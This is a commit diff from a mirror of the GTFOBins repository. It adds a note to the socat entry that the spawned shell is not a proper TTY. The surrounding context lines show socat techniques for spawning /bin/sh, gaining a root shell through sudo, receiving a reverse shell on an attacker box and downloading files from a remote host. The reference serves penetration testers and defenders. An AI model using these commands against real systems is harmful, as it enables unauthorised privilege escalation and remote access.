mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-24 12:32:55 +01:00
Add note about socat shell
This commit is contained in:
parent
4e4b61a65a
commit
42fa84a08a
@ -1,7 +1,8 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- code: |
|
- description: The resulting shell is not a proper TTY shell and lacks the prompt.
|
||||||
|
code: |
|
||||||
socat stdin exec:/bin/sh
|
socat stdin exec:/bin/sh
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
|
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
|
||||||
@ -29,7 +30,8 @@ functions:
|
|||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
|
socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: The resulting shell is not a proper TTY shell and lacks the prompt.
|
||||||
|
code: |
|
||||||
sudo socat stdin exec:/bin/sh
|
sudo socat stdin exec:/bin/sh
|
||||||
limited-suid:
|
limited-suid:
|
||||||
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
|
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
|
||||||
|
Loading…
Reference in New Issue
Block a user